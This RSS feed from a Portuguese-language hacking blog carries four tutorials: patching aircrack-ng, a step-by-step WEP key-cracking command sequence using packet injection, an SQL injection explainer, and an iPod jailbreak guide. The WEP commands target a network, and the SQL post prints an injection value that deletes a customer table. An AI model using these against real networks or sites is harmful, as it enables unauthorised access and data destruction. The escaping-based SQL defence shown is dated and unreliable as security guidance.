<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hack Network &#187; Hacking</title>
	<atom:link href="http://www.hack.net.br/blog/category/hacking/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.hack.net.br/blog</link>
	<description></description>
	<lastBuildDate>Tue, 08 Nov 2011 10:39:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Aircrack-ng: mon0 is on channel -1, but the AP uses channel X</title>
		<link>http://www.hack.net.br/blog/hacking/aircrack-ng-mon0-is-on-channel-1-but-the-ap-uses-channel-x/</link>
		<comments>http://www.hack.net.br/blog/hacking/aircrack-ng-mon0-is-on-channel-1-but-the-ap-uses-channel-x/#comments</comments>
		<pubDate>Sat, 22 Oct 2011 14:21:39 +0000</pubDate>
		<dc:creator>Allan Denot</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Português-Brasil]]></category>
		<category><![CDATA[aircrack-ng]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.hack.net.br/blog/?p=439</guid>
		<description><![CDATA[Dependendo do driver usado, o seguinte erro pode ocorrer: airodump-ng: Fixed channel to -1 = fixed channel mon0: -1  aireplay-ng: Wouldn’t false authenticate OR deauth = mon0 is on channel -1, but the AP uses channel XXX Pesquisando na web, maioria dos sites indicam recompilar o kernel com um patch para resolver o problema. Mas não e necessário recompilar o [...]]]></description>
			<content:encoded><![CDATA[<p>Dependendo do driver usado, o seguinte erro pode ocorrer:</p>
<pre>airodump-ng: Fixed channel to -1 = fixed channel mon0: -1 
aireplay-ng: Wouldn’t false authenticate OR deauth = mon0 is on channel -1, but the AP uses channel XXX</pre>
<p>Pesquisando na web, maioria dos sites indicam recompilar o kernel com um patch para resolver o problema.</p>
<p><span style="text-decoration: underline;">Mas não e necessário recompilar o kernel!</span></p>
<p>Você sim vai precisar <strong>recompilar o pacote aircrack-ng</strong>, mas se utiliza Debian ou Ubuntu, a tarefa e bem simples.</p>
<p>(Solucao baseada no patch descrito em: http://trac.aircrack-ng.org/ticket/742).</p>
<p>Crie um diretório temporario e baixe o fonte do aircrack-ng:</p>
<pre>mkdir tmp
cd tmp
apt-get source aircrack-ng</pre>
<p>Edite o arquivo src/aireplay-ng.c:</p>
<pre>cd aircrack-ng-1.1
cd src
nano aireplay-ng.c</pre>
<p><strong>Remova</strong> o seguinte código (por volta da linha 726):</p>
<pre>        if(ap_chan != iface_chan)
        {
            PCT; printf("%s is on channel %d, but the AP uses channel %d\n", wi_get_ifname(wi), iface_chan, ap_chan);
            return -1;
        }</pre>
<p>Salve o arquivo.</p>
<p>Va para o diretorio onde foi extraido o codigo fonte (aircrack-ng-1.1):</p>
<pre>cd ..</pre>
<p>Recompile o .deb:</p>
<pre>dpkg-buildpackage</pre>
<p>Se tudo deu certo, voce vera a mensagem:</p>
<pre>dpkg-deb: building package `aircrack-ng' in `../aircrack-ng_1.1-1.1_amd64.deb'.
 dpkg-genchanges  &gt;../aircrack-ng_1.1-1.1_amd64.changes
dpkg-genchanges: not including original source code in upload
 dpkg-source --after-build aircrack-ng-1.1
dpkg-buildpackage: binary and diff upload (original source NOT included)</pre>
<p>Basta instalar o novo pacote com o comando:</p>
<pre>dpkg -i ../aircrack-ng_1.1-1.1_amd64.deb</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.hack.net.br/blog/hacking/aircrack-ng-mon0-is-on-channel-1-but-the-ap-uses-channel-x/feed/</wfw:commentRss>
		<slash:comments>24</slash:comments>
		</item>
		<item>
		<title>Quebrando chave WEP com Aircrack-ng e Ubuntu 10.4 [video]</title>
		<link>http://www.hack.net.br/blog/hacking/quebrando-chave-wep-com-aircrack-ng-e-ubuntu-10-4-video/</link>
		<comments>http://www.hack.net.br/blog/hacking/quebrando-chave-wep-com-aircrack-ng-e-ubuntu-10-4-video/#comments</comments>
		<pubDate>Sun, 08 Aug 2010 08:30:29 +0000</pubDate>
		<dc:creator>Allan Denot</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Português-Brasil]]></category>
		<category><![CDATA[aircrack-ng]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[wep]]></category>
		<category><![CDATA[Wi-Fi]]></category>

		<guid isPermaLink="false">http://www.hack.net.br/?p=250</guid>
		<description><![CDATA[Video demonstrativo de como quebrar uma chave WEP (nesse caso 40-bits, mas funcionaria para 104-bits). Comandos: 0:42 apt-get install aircrack-ng 1:06 iwconfig 1:22 airmon-ng start wlan0 1:30 ifconfig 1:35 ifconfig mon0 1:43 airodump-ng mon0 2:05 airodump-ng &#8211;channel 6 &#8211;bssid XX:XX:XX:XX:XX:XX -w wep1 mon0 2:33 sudo su 2:43 ifconfig wlan0 2:50 aireplay-ng -1 0 -e YYYY [...]]]></description>
			<content:encoded><![CDATA[<p><object width="619" height="510" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.youtube.com/v/nf1XbAqxlyY" /><embed width="619" height="510" type="application/x-shockwave-flash" src="http://www.youtube.com/v/nf1XbAqxlyY" /></object></p>
<p>Video demonstrativo de como quebrar uma chave WEP (nesse caso 40-bits, mas funcionaria para 104-bits).</p>
<p>Comandos:<br />
<a onclick="yt.www.watch.player.seekTo(0*60+42);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">0:42</a> apt-get install aircrack-ng<br />
<a onclick="yt.www.watch.player.seekTo(1*60+06);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">1:06</a> iwconfig<br />
<a onclick="yt.www.watch.player.seekTo(1*60+22);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">1:22</a> airmon-ng start wlan0<br />
<a onclick="yt.www.watch.player.seekTo(1*60+30);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">1:30</a> ifconfig<br />
<a onclick="yt.www.watch.player.seekTo(1*60+35);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">1:35</a> ifconfig mon0<br />
<a onclick="yt.www.watch.player.seekTo(1*60+43);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">1:43</a> airodump-ng mon0<br />
<a onclick="yt.www.watch.player.seekTo(2*60+05);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">2:05</a> airodump-ng &#8211;channel 6 &#8211;bssid XX:XX:XX:XX:XX:XX -w wep1 mon0<br />
<a onclick="yt.www.watch.player.seekTo(2*60+33);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">2:33</a> sudo su<br />
<a onclick="yt.www.watch.player.seekTo(2*60+43);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">2:43</a> ifconfig wlan0<br />
<a onclick="yt.www.watch.player.seekTo(2*60+50);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">2:50</a> aireplay-ng -1 0 -e YYYY -a XX:XX:XX:XX:XX:XX -h ZZ:ZZ:ZZ:ZZ:ZZ:ZZ mon0<br />
<a onclick="yt.www.watch.player.seekTo(3*60+17);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">3:17</a> aireplay-ng -3 -b XX:XX:XX:XX:XX:XX -h ZZ:ZZ:ZZ:ZZ:ZZ:ZZ mon0<br />
<a onclick="yt.www.watch.player.seekTo(4*60+04);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">4:04</a> sudo su<br />
<a onclick="yt.www.watch.player.seekTo(4*60+13);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">4:13</a> aireplay-ng -1 0 -e YYYY -a XX:XX:XX:XX:XX:XX -h ZZ:ZZ:ZZ:ZZ:ZZ:ZZ mon0<br />
<a onclick="yt.www.watch.player.seekTo(4*60+26);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">4:26</a> ls -lah wep1-01.cap<br />
<a onclick="yt.www.watch.player.seekTo(4*60+35);return false;" href="http://www.youtube.com/watch?v=nf1XbAqxlyY#">4:35</a> aircrack-ng -b XX:XX:XX:XX:XX:XX wep1-01.cap</p>
<p>XX:XX:XX:XX:XX:XX = BSSID da rede alvo (obtido pelo airodump-ng)<br />
YYYY = nome da rede alvo (obtido pelo airodump-ng)<br />
ZZ:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ = MAC address da interface de rede que usamos para injetar os pacotes (nesse caso: wlan0)</p>
<p>UPDATE (23/10/2011):</p>
<pre>aireplay-ng: Wouldn’t false authenticate OR deauth = mon0 is on channel -1, but the AP uses channel X</pre>
<p>Se voce estiver tendo problema com &#8220;channel -1&#8243;, de uma olhada nesse tutorial:</p>
<p><a title="Aircrack-ng: mon0 is on channel -1, but the AP uses channel X" href="http://www.hack.net.br/blog/hacking/aircrack-ng-mon0-is-on-channel-1-but-the-ap-uses-channel-x/">http://www.hack.net.br/blog/hacking/aircrack-ng-mon0-is-on-channel-1-but-the-ap-uses-channel-x/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hack.net.br/blog/hacking/quebrando-chave-wep-com-aircrack-ng-e-ubuntu-10-4-video/feed/</wfw:commentRss>
		<slash:comments>46</slash:comments>
		</item>
		<item>
		<title>Solução para SQL Injection</title>
		<link>http://www.hack.net.br/blog/hacking/solucao-para-sql-injection/</link>
		<comments>http://www.hack.net.br/blog/hacking/solucao-para-sql-injection/#comments</comments>
		<pubDate>Tue, 15 Dec 2009 23:09:46 +0000</pubDate>
		<dc:creator>yuri.azambuja</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Português-Brasil]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[sql]]></category>

		<guid isPermaLink="false">http://www.hack.net.br/?p=179</guid>
		<description><![CDATA[Um dos maiores descuidos dos desenvolvedores de software ocorre passar os parâmetros de consultas aos bancos de dados. O SQL Injection é um método usado por Hackes executar no banco de dados do sistema o SQL que quizer, por meio de brechas nos sistemas.]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify">Um dos maiores descuidos dos desenvolvedores de software ocorre ao passar os parâmetros de consultas aos bancos de dados. O SQL Injection é um método usado por Hackes para executar o comando que quiser no banco de dados do sistema, por meio de brechas.<span id="more-179"></span></p>
<p style="text-align: justify">Por exemplo, uma simples consulta aos produtos de um comércio eleterônico pode ser feita da seguinte forma:</p>
<blockquote>
<p style="text-align: justify">$sql = &#8220;SELECT * FROM produtos WHERE id_produto = &#8216;{$_GET['id']}&#8217;;&#8221;;</p>
</blockquote>
<p style="text-align: justify">Quando o visitante for acessar o endereço &#8220;produto.php?id=123&#8243;, o SQL gerado será &#8220;SELECT * FROM produtos WHERE id_produto = &#8217;123&#8242;;&#8221;, e o resultado esperado será obtido.</p>
<p style="text-align: justify">Contudo, se o visitante estiver mal intencionado, ele poderá alterar o endereço no seu navegador para &#8220;produto.php?id=123&#8242;;DELETE FROM clientes WHERE &#8217;0&#8242;=&#8217;0&#8243;, e o SQL gerado será &#8220;SELECT * FROM produtos WHERE id_produto = &#8217;123&#8242;;DELETE FROM clientes WHERE &#8217;0&#8242;=&#8217;0&#8242;;&#8221;, o que será interfretado pelo canco de dados como 2 comandos diferentes: Um SELECT previsto, e um DELETE que não poderia ser realizado.</p>
<p style="text-align: justify">Para evitar este problema, é importante utilizar funções de tratamento de string. Cada banco de dados possui a sua própria função. A seguir, segue uma função que faz os devidos tratamentos para cada tipo de variável (descomente o retorno adequado para o seu banco de dados):</p>
<blockquote><p>function sql($valor){</p>
<p style="padding-left: 30px">if(is_bool($valor))</p>
<p style="padding-left: 60px">return $valor?&#8221;TRUE&#8221;:&#8221;FALSE&#8221;;</p>
<p style="padding-left: 30px">else if(is_numeric($valor))</p>
<p style="padding-left: 60px">return $valor;</p>
<p style="padding-left: 30px">else if(empty($valor)||is_null($valor))</p>
<p style="padding-left: 60px">return &#8220;NULL&#8221;;</p>
<p style="padding-left: 30px">if(get_magic_quotes_gpc())</p>
<p style="padding-left: 60px">$valor = stripslashes($valor);</p>
<p style="padding-left: 30px">// MySQL</p>
<p style="padding-left: 30px">//return &#8220;&#8216;&#8221;.mysql_real_escape_string($valor).&#8221;&#8216;&#8221;;</p>
<p style="padding-left: 30px">// PgSQL</p>
<p style="padding-left: 30px">//return &#8220;&#8216;&#8221;.pg_escape_string($valor).&#8221;&#8216;&#8221;;</p>
<p style="padding-left: 30px">// SQLite</p>
<p style="padding-left: 30px">//return &#8220;&#8216;&#8221;.sqlite_escape_string($valor).&#8221;&#8216;&#8221;;</p>
<p>}</p></blockquote>
<p style="text-align: justify">Com esta função, basta reescrever o seu código da seguinte forma:</p>
<blockquote>
<p style="text-align: justify">$sql = &#8220;SELECT * FROM produtos WHERE id_produto = &#8220;.sql($_GET['id']).&#8221;;&#8221;;</p>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.hack.net.br/blog/hacking/solucao-para-sql-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Desbloqueando iPod Touch 2G (segunda geração)</title>
		<link>http://www.hack.net.br/blog/hacking/desbloqueando-ipod-touch-2g/</link>
		<comments>http://www.hack.net.br/blog/hacking/desbloqueando-ipod-touch-2g/#comments</comments>
		<pubDate>Sun, 12 Apr 2009 01:13:26 +0000</pubDate>
		<dc:creator>Allan Denot</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Português-Brasil]]></category>
		<category><![CDATA[ipod2g]]></category>
		<category><![CDATA[jailbrake]]></category>

		<guid isPermaLink="false">http://denot.com.br/wp/?p=23</guid>
		<description><![CDATA[Esse artigo descreve os passos de como fazer o desbloqueio do iPod Touch 2G utilizando o RedSnow (em Windows). Baixe o crack em http://redsn0w.com/ Você vai precisar de um programa de Torrent para baixar, eu recomendo o uTorrent. Ao executar o arquivo redsn0w.exe, primeira coisa que noto é que ele fechou o iTunes automaticamente, e [...]]]></description>
			<content:encoded><![CDATA[<p>Esse artigo descreve os passos de como fazer o desbloqueio do iPod Touch 2G utilizando o RedSnow (em Windows).</p>
<p><span id="more-23"></span></p>
<p>Baixe o crack em <a href="http://redsn0w.com" target="_blank">http://redsn0w.com/</a></p>
<p>Você vai precisar de um programa de Torrent para baixar, eu recomendo o <a href="http://www.utorrent.com/downloads" target="_blank">uTorrent</a>.</p>
<p>Ao executar o arquivo redsn0w.exe, primeira coisa que noto é que ele fechou o iTunes automaticamente, e pediu para que conectasse meu iPod Touch em modo DFU. Portanto acho interessante executar o redsn0w antes de conectar o iPod, caso contrário o iTunes irá tentar sincronizar.</p>
<p><img class="aligncenter size-full wp-image-26" title="ipod-redsn0w-1" src="http://www.hack.net.br/wp-content/uploads/2009/04/ipod-redsn0w-1.jpg" alt="ipod-redsn0w-1" width="441" height="221" /></p>
<p>Colocando em DFU:</p>
<p>Com o redsn0w.exe sendo executado, conecte o iPod Touch ao computador.</p>
<p>Segure o botão de desligar e Home até que a tela fique preta e o iPod desligue.</p>
<p>Assim que o iPod desligar (apagar a tela), conte 2 segundos e solte o botão de desligar (acima) e mantenha pressionado o Home por mais 10 segundos. Se tudo der certo, o iPod continuará com a tela preta e o redsn0w vai comecar sozinho.</p>
<p>Nesse momento o redsn0w já irá começar automaticamente a realizar o desbloqueio, conforme mostrado abaixo:</p>
<p><img class="aligncenter size-full wp-image-27" title="ipod-redsn0w-2" src="http://www.hack.net.br/wp-content/uploads/2009/04/ipod-redsn0w-2.jpg" alt="ipod-redsn0w-2" width="441" height="221" /></p>
<p>Enquanto isso, a tela do iPod Touch deve mostrar:</p>
<p><img class="aligncenter size-medium wp-image-32" title="dsc00039" src="http://denot.com.br/wp/wp-content/uploads/2009/04/dsc00039-225x300.jpg" alt="dsc00039" width="225" height="300" /></p>
<p>Em seguida:</p>
<p><img class="aligncenter size-medium wp-image-33" title="dsc00040" src="http://denot.com.br/wp/wp-content/uploads/2009/04/dsc00040-225x300.jpg" alt="dsc00040" width="225" height="300" /></p>
<p>Após o boot, o seu iPod está pronto para instalar outros softwares.</p>
<p><img class="aligncenter size-medium wp-image-34" title="dsc00041" src="http://denot.com.br/wp/wp-content/uploads/2009/04/dsc00041-225x300.jpg" alt="dsc00041" width="225" height="300" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hack.net.br/blog/hacking/desbloqueando-ipod-touch-2g/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
	</channel>
</rss>

